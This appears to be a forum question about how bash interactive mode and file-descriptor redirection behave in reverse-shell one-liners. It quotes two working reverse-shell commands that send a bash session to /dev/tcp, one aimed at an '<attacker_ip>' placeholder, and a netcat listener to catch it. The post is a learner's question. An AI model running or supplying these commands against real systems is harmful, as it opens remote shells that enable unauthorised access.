i have two questions about bash. I was looking into reverse shells, and the
-i flag. When I do
bash -i > /dev/tcp/ip/port 2>&1 0>&1, I get an interactive shell on the server machine, catching it with
nc -l port. But when I don't enter the
-i flag, i get a non-login non-interactive shell. So far, that would be the expected behaviour. However, when locally executing
bash -i, I get interactive new shells BOTH times, as if interactive was the default mode. Why is it that when i redirect bash without
-i is not interactive, and locally bash is?
And the second question about redirection, i saw this one liner, but i not quite understand the redirections involved here:
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
For what i see, is redirecting stdout for bash to /dev/tcp... and then accepting the location of stdout as stdin (
0<&1) and also redirecting stderr to stdout (2>&1). How would this achieve a reverse shell? Shouldn't it redirect the contents of /dev/tcp.. to stdin and redirect stdout and error there?